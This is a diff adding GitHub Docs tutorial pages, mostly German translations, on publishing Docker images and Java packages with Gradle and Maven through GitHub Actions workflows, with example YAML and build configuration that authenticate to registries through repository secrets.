+The `build-push-action` options required for {% data variables.product.prodname_registry %} are:{% ifversion fpt or ghec %}
+* `context`: Defines the build's context as the set of files located in the specified path.{% endif %}
+* `push`: If set to `true`, the image will be pushed to the registry if it is built successfully.{% ifversion fpt or ghec %}
+* `tags` and `labels`: These are populated by output from `metadata-action`.{% else %}
+* `tags`: Must be set in the format {% ifversion ghes > 3.4 %}`{% data reusables.package_registry.container-registry-hostname %}/OWNER/REPOSITORY/IMAGE_NAME:VERSION`. 
+  
+   For example, for an image named `octo-image` stored on {% data variables.product.prodname_ghe_server %} at `https://HOSTNAME/octo-org/octo-repo`, the `tags` option should be set to `{% data reusables.package_registry.container-registry-hostname %}/octo-org/octo-repo/octo-image:latest`{% else %}`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE_NAME:VERSION`.
+  
+   For example, for an image named `octo-image` stored on {% data variables.product.prodname_dotcom %} at `http://github.com/octo-org/octo-repo`, the `tags` option should be set to `docker.pkg.github.com/octo-org/octo-repo/octo-image:latest`{% endif %}. You can set a single tag as shown below, or specify multiple tags in a list.{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+{% data reusables.package_registry.publish-docker-image %}
+
+The above workflow is triggered by a push to the "release" branch. It checks out the GitHub repository, and uses the `login-action` to log in to the {% data variables.product.prodname_container_registry %}. It then extracts labels and tags for the Docker image. Finally, it uses the `build-push-action` action to build the image and publish it on the {% data variables.product.prodname_container_registry %}.
+
+{% else %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish Docker image
+
+on:
+  release:
+    types: [published]
+jobs:
+  push_to_registry:
+    name: Push Docker image to GitHub Packages
+    runs-on: ubuntu-latest
+    permissions:
+      packages: write
+      contents: read
+    steps:
+      - name: Check out the repo
+        uses: {% data reusables.actions.action-checkout %}
+      
+      - name: Log in to GitHub Docker Registry
+        uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+        with:
+          registry: {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}
+          username: {% raw %}${{ github.actor }}{% endraw %}
+          password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+      
+      - name: Build and push Docker image
+        uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
+        with:
+          context: .
+          push: true
+          tags: |
+            {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.sha }}{% endraw %}
+            {% ifversion ghae %}docker.YOUR-HOSTNAME.com{% else %}docker.pkg.github.com{% endif %}{% raw %}/${{ github.repository }}/octo-image:${{ github.event.release.tag_name }}{% endraw %}
+```
+
+The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` to log in to the registry, and then uses the `build-push-action` action to: build a Docker image based on your repository's `Dockerfile`; push the image to the Docker registry, and apply the commit SHA and release version as image tags.
+{% endif %}
+
+## Publishing images to Docker Hub and {% data variables.product.prodname_registry %}
+
+{% ifversion ghes > 3.4 %}
+{% data reusables.package_registry.container-registry-ghes-beta %}
+{% endif %}
+
+In a single workflow, you can publish your Docker image to multiple registries by using the `login-action` and `build-push-action` actions for each registry.
+
+The following example workflow uses the steps from the previous sections ("[Publishing images to Docker Hub](#publishing-images-to-docker-hub)" and "[Publishing images to {% data variables.product.prodname_registry %}](#publishing-images-to-github-packages)") to create a single workflow that pushes to both registries.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish Docker image
+
+on:
+  release:
+    types: [published]
+
+jobs:
+  push_to_registries:
+    name: Push Docker image to multiple registries
+    runs-on: {% ifversion ghes %}[self-hosted]{% else %}ubuntu-latest{% endif %}
+    permissions:
+      packages: write
+      contents: read
+    steps:
+      - name: Check out the repo
+        uses: {% data reusables.actions.action-checkout %}
+      
+      - name: Log in to Docker Hub
+        uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+        with:
+          username: {% raw %}${{ secrets.DOCKER_USERNAME }}{% endraw %}
+          password: {% raw %}${{ secrets.DOCKER_PASSWORD }}{% endraw %}
+      
+      - name: Log in to the {% ifversion fpt or ghec or ghes > 3.4 %}Container{% else %}Docker{% endif %} registry
+        uses: docker/login-action@f054a8b539a109f9f41c372932f1ae047eff08c9
+        with:
+          registry: {% ifversion fpt or ghec %}ghcr.io{% elsif ghae %}docker.YOUR-HOSTNAME.com{% elsif ghes > 3.4 %}{% data reusables.package_registry.container-registry-hostname %}{% else %}docker.pkg.github.com{% endif %}
+          username: {% raw %}${{ github.actor }}{% endraw %}
+          password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+      
+      - name: Extract metadata (tags, labels) for Docker
+        id: meta
+        uses: docker/metadata-action@98669ae865ea3cffbcbaa878cf57c20bbf1c6c38
+        with:
+          images: |
+            my-docker-hub-namespace/my-docker-hub-repository
+            {% ifversion fpt or ghec or ghes > 3.4 %}{% data reusables.package_registry.container-registry-hostname %}/{% raw %}${{ github.repository }}{% endraw %}{% elsif ghae %}{% raw %}docker.YOUR-HOSTNAME.com/${{ github.repository }}/my-image{% endraw %}{% else %}{% raw %}docker.pkg.github.com/${{ github.repository }}/my-image{% endraw %}{% endif %}
+      
+      - name: Build and push Docker images
+        uses: docker/build-push-action@ad44023a93711e3deb337508980b4b5e9bcdc5dc
+        with:
+          context: .
+          push: true
+          tags: {% raw %}${{ steps.meta.outputs.tags }}{% endraw %}
+          labels: {% raw %}${{ steps.meta.outputs.labels }}{% endraw %}
+```
+
+The above workflow checks out the {% data variables.product.product_name %} repository, uses the `login-action` twice to log in to both registries and generates tags and labels with the `metadata-action` action.
+Then the `build-push-action` action builds and pushes the Docker image to Docker Hub and the {% ifversion fpt or ghec or ghes > 3.4 %}{% data variables.product.prodname_container_registry %}{% else %}Docker registry{% endif %}.
diff --git a/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-gradle.md b/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
new file mode 100644
index 0000000000..ca11369c37
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-gradle.md
@@ -0,0 +1,274 @@
+---
+title: Java-Pakete mit Gradle veröffentlichen
+intro: 'Du kannst Gradle verwenden, um Java-Pakete als Teil deines Workflows zur kontinuierlichen Integration (CI) in einer Registry zu veröffentlichen.'
+redirect_from:
+  - /actions/language-and-framework-guides/publishing-java-packages-with-gradle
+  - /actions/guides/publishing-java-packages-with-gradle
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Packaging
+  - Publishing
+  - Java
+  - Gradle
+shortTitle: Java packages with Gradle
+ms.openlocfilehash: 58bb9f872dbb136624c82ab7ae073d9b670e98e3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147410283'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+{% data reusables.actions.publishing-java-packages-intro %}
+
+## Voraussetzungen
+
+Wir empfehlen Dir, ein grundlegendes Verständnis von Workflow-Dateien und Konfigurationsoptionen zu haben. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+Weitere Informationen zum Erstellen eines CI-Workflows für dein Java-Projekt mit Gradle findest du unter [Erstellen und Testen von Java mit Gradle](/actions/language-and-framework-guides/building-and-testing-java-with-gradle).
+
+Vielleicht findest du es auch hilfreich, ein grundlegendes Verständnis von Folgendem zu haben:
+
+- [Arbeiten mit der npm-Registrierung](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)
+- [Umgebungsvariablen](/actions/reference/environment-variables)
+- [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets)
+- [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow)
+
+## Informationen zur Paketkonfiguration
+
+Die Felder `groupId` und `artifactId` in dem Abschnitt `MavenPublication` der Datei _build.gradle_ erstellen einen eindeutigen Bezeichner für dein Paket, der von Registrierungen zum Verknüpfen deines Pakets mit einer Registrierung verwendet wird.  Dies ähnelt den Feldern `groupId` und `artifactId` der Maven-Datei _pom.xml_.  Weitere Informationen findest du in der Gradle-Dokumentation unter [Maven-Veröffentlichungs-Plug-In](https://docs.gradle.org/current/userguide/publishing_maven.html).
+
+Die Datei _build.gradle_ enthält auch die Konfiguration für die Distributionsverwaltungsrepositorys, in denen Gradle Pakete veröffentlicht. Jedes Repository braucht einen Namen, eine Deployment-URL und Anmeldeinformationen zur Authentifizierung.
+
+## Pakete im „Maven Central Repository“ veröffentlichen
+
+Jedes Mal, wenn du ein neues Release erstellst, kannst du einen Workflow anstoßen, um dein Paket zu veröffentlichen. Der Workflow im folgenden Beispiel wird ausgeführt, wenn das `release`-Ereignis mit dem `created`-Typ ausgelöst wird. Der Workflow veröffentlicht das Paket im „Maven Central Repository“, sofern es die CI-Tests besteht. Weitere Informationen zum `release`-Ereignis findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#release).
+
+Du kannst ein neues Maven-Repository im Veröffentlichungsblock deiner Datei _build.gradle_ definieren, das auf dein Paketrepository verweist.  Wenn du die Bereitstellung für das Maven Central Repository beispielsweise über das OSSRH-Hostingprojekt durchgeführt hast, könnte deine Datei _build.gradle_ ein Repository mit dem Namen `"OSSRH"` angeben.
+
+{% raw %}
+```groovy{:copy}
+plugins {
+  ...
+  id 'maven-publish'
+}
+
+publishing {
+  ...
+
+  repositories {
+    maven {
+      name = "OSSRH"
+      url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/"
+      credentials {
+        username = System.getenv("MAVEN_USERNAME")
+        password = System.getenv("MAVEN_PASSWORD")
+      }
+    }
+  }
+}
+```
+{% endraw %}
+
+Mit dieser Konfiguration kannst du einen Workflow erstellen, der dein Paket im Maven Central Repository veröffentlicht, indem du den `gradle publish`-Befehl ausführst. Im Deploy-Schritt musst du Umgebungsvariablen für den Benutzernamen und das Passwort oder für den Token festlegen, mit dem du Dich im Maven-Repository authentifizierst. Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+```yaml{:copy}
+
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish package to the Maven Central Repository
+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Java
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Validate Gradle wrapper
+        uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+      - name: Publish package
+        uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+        with:
+          arguments: publish
+        env:
+          MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %}
+          MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %}
+```
+
+{% data reusables.actions.gradle-workflow-steps %}
+1. Führt die Aktion [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) mit dem `publish`-Argument aus, um das `OSSRH`-Maven-Repository zu veröffentlichen. Die Umgebungsvariable `MAVEN_USERNAME` wird mit dem Inhalt deines `OSSRH_USERNAME`-Geheimnisses und die Umgebungsvariable `MAVEN_PASSWORD` mit dem Inhalt deines `OSSRH_TOKEN`-Geheimnisses festgelegt.
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+## Pakete in der {% data variables.product.prodname_registry %} veröffentlichen
+
+Jedes Mal, wenn du ein neues Release erstellst, kannst du einen Workflow anstoßen, um dein Paket zu veröffentlichen. Der Workflow im folgenden Beispiel wird ausgeführt, wenn das `release`-Ereignis mit dem `created`-Typ ausgelöst wird. Der Workflow veröffentlicht das Paket in {% data variables.product.prodname_registry %} , wenn die CI-Tests bestanden wurden. Weitere Informationen zum `release`-Ereignis findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#release).
+
+Du kannst ein neues Maven-Repository im Veröffentlichungsblock deiner Datei _build.gradle_ definieren, das auf {% data variables.product.prodname_registry %} verweist.  In dieser Repository-Konfiguration kannst du auch die in deinem CI-Workflow-Lauf eingestellten Umgebungsvariablen nutzen.  Du kannst die Umgebungsvariable `GITHUB_ACTOR` als Benutzername verwenden und die Umgebungsvariable `GITHUB_TOKEN` mit deinem `GITHUB_TOKEN`-Geheimnis festlegen.
+
+{% data reusables.actions.github-token-permissions %}
+
+Wenn deine Organisation beispielsweise „octocat“ und dein Repository „hello-world“ heißt, ähnelt die {% data variables.product.prodname_registry %}-Konfiguration in _build.gradle_ dem folgenden Beispiel.
+
+{% raw %}
+```groovy{:copy}
+plugins {
+  ...
+  id 'maven-publish'
+}
+
+publishing {
+  ...
+
+  repositories {
+    maven {
+      name = "GitHubPackages"
+      url = "https://maven.pkg.github.com/octocat/hello-world"
+      credentials {
+        username = System.getenv("GITHUB_ACTOR")
+        password = System.getenv("GITHUB_TOKEN")
+      }
+    }
+  }
+}
+```
+{% endraw %}
+
+Mit dieser Konfiguration kannst du einen Workflow erstellen, der dein Paket in {% data variables.product.prodname_registry %} veröffentlicht, indem du den `gradle publish`-Befehl ausführst.
+
+```yaml{:copy}
+
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish package to GitHub Packages
+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest 
+    permissions: 
+      contents: read
+      packages: write 
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Validate Gradle wrapper
+        uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+      - name: Publish package
+        uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+        with:
+          arguments: publish
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+{% data reusables.actions.gradle-workflow-steps %}
+1. Führt die Aktion [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) mit dem `publish`-Argument aus, um {% data variables.product.prodname_registry %} zu veröffentlichen. Die Umgebungsvariable `GITHUB_TOKEN` wird mit dem Inhalt des `GITHUB_TOKEN`-Geheimnisses festgelegt. Der Schlüssel `permissions` gibt den Zugriff an, den das `GITHUB_TOKEN`-Geheimnis erteilt.
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+## Pakete im Maven Central Repository und in der {% data variables.product.prodname_registry %} veröffentlichen
+
+Du kannst deine Pakete sowohl im Maven Central Repository als auch in der {% data variables.product.prodname_registry %} veröffentlichen, indem du für jede Registrierung deine Datei _build.gradle_ konfigurierst.
+
+Stelle sicher, dass deine Datei _build.gradle_ ein Repository sowohl für dein {% data variables.product.prodname_dotcom %}-Repository als auch für deinen Maven Central Repository-Anbieter enthält.
+
+Wenn du die Bereitstellung für das Central Repository beispielsweise über das OSSRH-Hostingprojekt durchgeführt hast, möchtest du sie möglicherweise in einem Distributionsverwaltungsrepository festlegen, indem du für `name``OSSRH` angibst. Wenn du {% data variables.product.prodname_registry %} bereitstellst, möchtest du sie möglicherweise in einem Distributionsverwaltungsrepository mit `name` festgelegt auf `GitHubPackages` angeben.
+
+Wenn deine Organisation beispielsweise „octocat“ und dein Repository „hello-world“ heißt, ähnelt die Konfiguration in _build.gradle_ dem folgenden Beispiel.
+
+{% raw %}
+```groovy{:copy}
+plugins {
+  ...
+  id 'maven-publish'
+}
+
+publishing {
+  ...
+
+  repositories {
+    maven {
+      name = "OSSRH"
+      url = "https://oss.sonatype.org/service/local/staging/deploy/maven2/"
+      credentials {
+        username = System.getenv("MAVEN_USERNAME")
+        password = System.getenv("MAVEN_PASSWORD")
+      }
+    }
+    maven {
+      name = "GitHubPackages"
+      url = "https://maven.pkg.github.com/octocat/hello-world"
+      credentials {
+        username = System.getenv("GITHUB_ACTOR")
+        password = System.getenv("GITHUB_TOKEN")
+      }
+    }
+  }
+}
+```
+{% endraw %}
+
+Mit dieser Konfiguration kannst du einen Workflow erstellen, der dein Paket in dem Maven Central Repository und in der {% data variables.product.prodname_registry %} veröffentlicht, indem du den `gradle publish`-Befehl ausführst.
+
+```yaml{:copy}
+
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Publish package to the Maven Central Repository and GitHub Packages
+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest 
+    permissions: 
+      contents: read
+      packages: write 
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Java
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Validate Gradle wrapper
+        uses: gradle/wrapper-validation-action@e6e38bacfdf1a337459f332974bb2327a31aaf4b
+      - name: Publish package
+        uses: gradle/gradle-build-action@67421db6bd0bf253fb4bd25b31ebb98943c375e1
+        with:
+          arguments: publish
+        env: {% raw %}
+          MAVEN_USERNAME: ${{ secrets.OSSRH_USERNAME }}
+          MAVEN_PASSWORD: ${{ secrets.OSSRH_TOKEN }}
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+{% data reusables.actions.gradle-workflow-steps %}
+1. Führt die Aktion [`gradle/gradle-build-action`](https://github.com/gradle/gradle-build-action) mit dem `publish`-Argument aus, um die Veröffentlichung in dem `OSSRH`-Maven-Repository und in der {% data variables.product.prodname_registry %} auszuführen. Die Umgebungsvariable `MAVEN_USERNAME` wird mit dem Inhalt deines `OSSRH_USERNAME`-Geheimnisses und die Umgebungsvariable `MAVEN_PASSWORD` mit dem Inhalt deines `OSSRH_TOKEN`-Geheimnisses festgelegt. Die Umgebungsvariable `GITHUB_TOKEN` wird mit dem Inhalt des `GITHUB_TOKEN`-Geheimnisses festgelegt. Der Schlüssel `permissions` gibt den Zugriff an, den das `GITHUB_TOKEN`-Geheimnis erteilt.
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
diff --git a/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-maven.md b/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-maven.md
new file mode 100644
index 0000000000..958e13fb6a
--- /dev/null
+++ b/translations/de-DE/content/actions/publishing-packages/publishing-java-packages-with-maven.md
@@ -0,0 +1,226 @@
+---
+title: Java-Pakete mit Maven veröffentlichen
+intro: 'Du kannst Maven verwenden, um Java-Pakete als Teil deines CI-Workflows (Continuous Integration) in einer Registrierung zu veröffentlichen.'
+redirect_from:
+  - /actions/language-and-framework-guides/publishing-java-packages-with-maven
+  - /actions/guides/publishing-java-packages-with-maven
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Packaging
+  - Publishing
+  - Java
+  - Maven
+shortTitle: Java packages with Maven
+ms.openlocfilehash: e5a1c9ad670bef2e059f5808fa41e1fcbe5848af
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147717917'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+{% data reusables.actions.publishing-java-packages-intro %}
+
+## Voraussetzungen
+
+Wir empfehlen Dir, ein grundlegendes Verständnis von Workflow-Dateien und Konfigurationsoptionen zu haben. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+Weitere Informationen zum Erstellen eines CI-Workflows für dein Java-Projekt mit Maven findest du unter [Erstellen und Testen von Java mit Maven](/actions/language-and-framework-guides/building-and-testing-java-with-maven).
+
+Vielleicht findest du es auch hilfreich, ein grundlegendes Verständnis von Folgendem zu haben:
+
+- [Arbeiten mit der npm-Registrierung](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)
+- [Umgebungsvariablen](/actions/reference/environment-variables)
+- [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets)
+- [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow)
+
+## Informationen zur Paketkonfiguration
+
+Die Felder `groupId` und `artifactId` in der Datei _pom.xml_ erstellen einen eindeutigen Bezeichner für dein Paket, der von Registrierungen zum Verknüpfen deines Pakets mit einer Registrierung verwendet wird.  Weitere Informationen findest du im [Leitfaden zum Hochladen von Artefakten in das zentrale Repository](http://maven.apache.org/repository/guide-central-repository-upload.html) in der Apache Maven-Dokumentation.
+
+Die Datei _pom.xml_ enthält auch die Konfiguration für die Distributionsverwaltungsrepositorys, in denen Maven Pakete veröffentlicht. Jedes Repository braucht einen Namen und eine „Deployment-URL“ (Bereitstellungs-URL). Die Authentifizierung für diese Repositorys kann in der Datei _.m2/settings.xml_ im Basisverzeichnis des Benutzers konfiguriert werden, der Maven ausführt.
+
+Du kannst die Aktion `setup-java` verwenden, um das Bereitstellungsrepository und die Authentifizierung für dieses Repository zu konfigurieren. Weitere Informationen findest du unter [`setup-java`](https://github.com/actions/setup-java).
+
+## Pakete im „Maven Central Repository“ veröffentlichen
+
+Jedes Mal, wenn du ein neues Release erstellst, kannst du einen Workflow anstoßen, um dein Paket zu veröffentlichen. Der Workflow im folgenden Beispiel wird ausgeführt, wenn das `release`-Ereignis mit dem `created`-Typ ausgelöst wird. Der Workflow veröffentlicht das Paket im „Maven Central Repository“, sofern es die CI-Tests besteht. Weitere Informationen zum `release`-Ereignis findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#release).
+
+In diesem Workflow kannst du die `setup-java`-Aktion verwenden. Diese Aktion installiert die angegebene Version des JDK in `PATH`, aber konfiguriert auch eine Maven-Datei _settings.xml_ für die Veröffentlichung von Paketen. Standardmäßig wird die Settings-Datei für {% data variables.product.prodname_registry %} konfiguriert, aber sie kann dazu konfiguriert werden, in eine andere Paket-Registry wie z.B. das „Maven Central Repository“ zu deployen. Wenn du bereits ein Distributionsverwaltungsrepository in _pom.xml_ konfiguriert hast, kannst du diese `id` beim Aufruf der Aktion `setup-java` angeben.
+
+Wenn du die Bereitstellung für das Maven Central Repository beispielsweise über das OSSRH-Hostingprojekt durchgeführt hast, könnte deine Datei _pom.xml_ ein Distributionsverwaltungsrepository mit der `id` `ossrh` angeben.
+
+{% raw %}
+```xml{:copy}
+<project ...>
+  ...
+  <distributionManagement>
+    <repository>
+      <id>ossrh</id>
+      <name>Central Repository OSSRH</name>
+      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
+    </repository>
+  </distributionManagement>
+</project>
+```
+{% endraw %}
+
+Mit dieser Konfiguration kannst du einen Workflow erstellen, der dein Paket im Maven Central Repository veröffentlicht, indem du die `id` der Repositoryverwaltung in der `setup-java`-Aktion angibst. Du musst auch Umgebungsvariablen bereitstellen, die den Benutzernamen und das Kennwort enthalten, um Dich im Repository zu authentifizieren.
+
+Im Deploy-Schritt musst du die Umgebungsvariablen auf den Benutzernamen setzen, mit dem du Dich im Repository anmeldest, und auf ein Geheimnis, das du mit dem Passwort oder dem Token konfiguriert hast, mit dem du Dich authentifizierst.  Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+```yaml{:copy}
+name: Publish package to the Maven Central Repository
+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up Maven Central Repository
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+          server-id: ossrh
+          server-username: MAVEN_USERNAME
+          server-password: MAVEN_PASSWORD
+      - name: Publish package
+        run: mvn --batch-mode deploy
+        env:
+          MAVEN_USERNAME: {% raw %}${{ secrets.OSSRH_USERNAME }}{% endraw %}
+          MAVEN_PASSWORD: {% raw %}${{ secrets.OSSRH_TOKEN }}{% endraw %}
+```
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Checkt eine Kopie des Projekt-Repositorys aus.
+1. Richtet das Java JDK ein und konfiguriert auch die Maven-Datei _settings.xml_, um die Authentifizierung für das `ossrh`-Repository über die Umgebungsvariablen `MAVEN_USERNAME` und `MAVEN_PASSWORD` hinzuzufügen.
+1. {% data reusables.actions.publish-to-maven-workflow-step %}
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+## Pakete in der {% data variables.product.prodname_registry %} veröffentlichen
+
+Jedes Mal, wenn du ein neues Release erstellst, kannst du einen Workflow anstoßen, um dein Paket zu veröffentlichen. Der Workflow im folgenden Beispiel wird ausgeführt, wenn das `release`-Ereignis mit dem `created`-Typ ausgelöst wird. Der Workflow veröffentlicht das Paket in {% data variables.product.prodname_registry %} , wenn die CI-Tests bestanden wurden. Weitere Informationen zum `release`-Ereignis findest du unter [Ereignisse, die Workflows auslösen](/actions/reference/events-that-trigger-workflows#release).
+
+In diesem Workflow kannst du die `setup-java`-Aktion verwenden. Diese Aktion installiert die angegebene JDK-Version in `PATH` und richtet zudem eine Maven-Datei _settings.xml_ für die Veröffentlichung des Pakets in der {% data variables.product.prodname_registry %} ein. Die generierte Datei _settings.xml_ definiert die Authentifizierung für einen Server mit der `id` `github`, wobei die Umgebungsvariable `GITHUB_ACTOR` als Benutzername und die Umgebungsvariable `GITHUB_TOKEN` als Kennwort verwendet wird. Der Umgebungsvariablen `GITHUB_TOKEN` wird der Wert des speziellen `GITHUB_TOKEN`-Geheimnisses zugewiesen.
+
+{% data reusables.actions.github-token-permissions %}
+
+Für ein Maven-basiertes Projekt kannst du diese Einstellungen verwenden, indem du in deiner Datei _pom.xml_ ein Distributionsrepository mit der `id` `github` erstellst, das auf deinen {% data variables.product.prodname_registry %}-Endpunkt verweist.
+
+Wenn deine Organisation beispielsweise „octocat“ und dein Repository „hello-world“ heißen, sieht die {% data variables.product.prodname_registry %}-Konfiguration in _pom.xml_ ähnlich dem folgenden Beispiel aus.
+
+{% raw %}
+```xml{:copy}
+<project ...>
+  ...
+  <distributionManagement>
+    <repository>
+      <id>github</id>
+      <name>GitHub Packages</name>
+      <url>https://maven.pkg.github.com/octocat/hello-world</url>
+    </repository>
+  </distributionManagement>
+</project>
+```
+{% endraw %}
+
+Mit dieser Konfiguration kannst du einen Workflow erstellen, der dein Paket anhand der automatisch generierten Datei _settings.xml_ in der {% data variables.product.prodname_registry %} veröffentlicht.
+
+```yaml{:copy}
+name: Publish package to GitHub Packages
+on:
+  release:
+    types: [created]
+jobs:
+  publish:
+    runs-on: ubuntu-latest 
+    permissions: 
+      contents: read
+      packages: write 
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Publish package
+        run: mvn --batch-mode deploy
+        env:
+          GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+```
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Checkt eine Kopie des Projekt-Repositorys aus.
+1. Richtet das Java JDK ein und konfiguriert auch automatisch die Maven-Datei _settings.xml_, um die Authentifizierung für das `github`-Maven-Repository über die Umgebungsvariable `GITHUB_TOKEN` hinzuzufügen.
+1. {% data reusables.actions.publish-to-packages-workflow-step %}
+
+   Weitere Informationen zur Verwendung von Geheimnissen in deinem Workflow findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+## Pakete im Maven Central Repository und in der {% data variables.product.prodname_registry %} veröffentlichen
+
+Du kannst deine Pakete sowohl im Maven Central Repository als auch in der {% data variables.product.prodname_registry %} veröffentlichen, indem du für jede Registrierung die Aktion `setup-java` verwendest.
+
+Stelle sicher, dass deine Datei _pom.xml_ ein Distributionsverwaltungsrepository sowohl für dein {% data variables.product.prodname_dotcom %}-Repository als auch für deinen Maven Central Repository-Anbieter enthält. Wenn du die Bereitstellung für das Central Repository beispielsweise über das OSSRH-Hostingprojekt durchführst, solltest du es in einem Distributionsverwaltungsrepository angeben, dessen `id` auf `ossrh` festgelegt ist. Außerdem solltest du {% data variables.product.prodname_registry %} in einem Distributionsverwaltungsrepository angeben, dessen `id` auf `github` festgelegt ist.
+
+```yaml{:copy}
+name: Publish package to the Maven Central Repository and GitHub Packages
